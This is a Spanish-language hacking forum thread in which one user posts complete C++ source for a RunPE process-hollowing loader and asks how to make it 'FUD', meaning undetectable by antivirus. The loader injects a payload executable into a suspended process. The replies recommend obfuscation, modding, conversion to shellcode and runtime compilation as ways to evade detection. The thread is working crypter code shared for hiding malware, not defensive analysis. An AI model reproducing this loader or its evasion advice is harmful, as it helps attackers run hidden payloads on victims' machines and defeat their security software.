RunPE FUD?¿

Iniciado por Z3R0N3, Julio 11, 2018, 04:57:41 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola!
Tengo un RunPE genérico (lo pongo más abajo), ¿se os ocurren formas de hacerlo FUD u otra alternativa para lograr lo mismo, por ejemplo trabajando con los fork y pid etc...?
Gracias!

Código: php

/* RunPE */
typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
class runPE{
    public:
        void run(LPSTR szFilePath, PVOID pFile)
        {
              PIMAGE_DOS_HEADER IDH;
            PIMAGE_NT_HEADERS INH;
            PIMAGE_SECTION_HEADER ISH;
            PROCESS_INFORMATION PI;
            STARTUPINFOA SI;
            PCONTEXT CTX;
            PDWORD dwImageBase;
            NtUnmapViewOfSection xNtUnmapViewOfSection;
            LPVOID pImageBase;
            int Count;
            IDH = PIMAGE_DOS_HEADER(pFile);
            if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
            {
                INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
                if (INH->Signature == IMAGE_NT_SIGNATURE)
                {
                    RtlZeroMemory(&SI, sizeof(SI));
                    RtlZeroMemory(&PI, sizeof(PI));
                    if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
                    {
                        CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                        CTX->ContextFlags = CONTEXT_FULL;
                        if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
                        {
                            ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
                            if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                            {
                                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                                xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                            }
                            pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                            if (pImageBase)
                            {
                                WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                                for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                                {
                                    ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                                }
                                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                                CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                                SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                                ResumeThread(PI.hThread);
                            }
                        }
                    }
                }
            }
            VirtualFree(pFile, 0, MEM_RELEASE);
        }
};
/* end RunPe */


Daria todo lo que sé por la mitad de lo que ignoro

HOLA!!!

Los RunPE suelen ser todos bastante parecidos, la forma de hacerlos FUD es usualmente ofuscacion de codigo y modding, la realidad es que no hay muchas maneras distintas de hacer un RunPe, usualmente lo mas comun es que se usen otros metodos para ejecutar programas.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOLA!!!

Los RunPE suelen ser todos bastante parecidos, la forma de hacerlos FUD es usualmente ofuscacion de codigo y modding, la realidad es que no hay muchas maneras distintas de hacer un RunPe, usualmente lo mas comun es que se usen otros metodos para ejecutar programas.

GRACIAS POR LEER!!!

Ok, lo entiendo.

Me parece interesante tu respuesta en especial lo que comentas de otros métodos para ejecutar programas porque abre mucho el hilo. Supongo que te refieres a métodos para ejecutar lo que esté en memoria, ¿verdad? cifrar y descifrar a demanda... etc. Quizás me he ido por las ramas, ¿voy bien?, sería interesante conocer acerca de esto.

Gracias!
Daria todo lo que sé por la mitad de lo que ignoro

Runpe fud usa uno hechoen asm lo pasas a shellcode lo limpias y sera fud 100% runtime/scantime forever.

HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ok, lo entiendo.

Me parece interesante tu respuesta en especial lo que comentas de otros métodos para ejecutar programas porque abre mucho el hilo. Supongo que te refieres a métodos para ejecutar lo que esté en memoria, ¿verdad? cifrar y descifrar a demanda... etc. Quizás me he ido por las ramas, ¿voy bien?, sería interesante conocer acerca de esto.

Gracias!

Para mi la mejor manera de ejecutar cosas es con compilacion en runtime. (ejecutar codigo on the fly)

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Runpe fud usa uno hechoen asm lo pasas a shellcode lo limpias y sera fud 100% runtime/scantime forever.

Umm.. creo que entiendo a lo que te refieres.. pero así solo quedaría scantime, ¿no?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOLA!!!

Para mi la mejor manera de ejecutar cosas es con compilacion en runtime. (ejecutar codigo on the fly)

GRACIAS POR LEER!!!

Me gusta, ¿cómo funciona?, si se puede saber... :D
Daria todo lo que sé por la mitad de lo que ignoro

HOLA!!!

Mira este post:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOLA!!!

Mira este post:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!

¡Gracias por el aporte!
Daria todo lo que sé por la mitad de lo que ignoro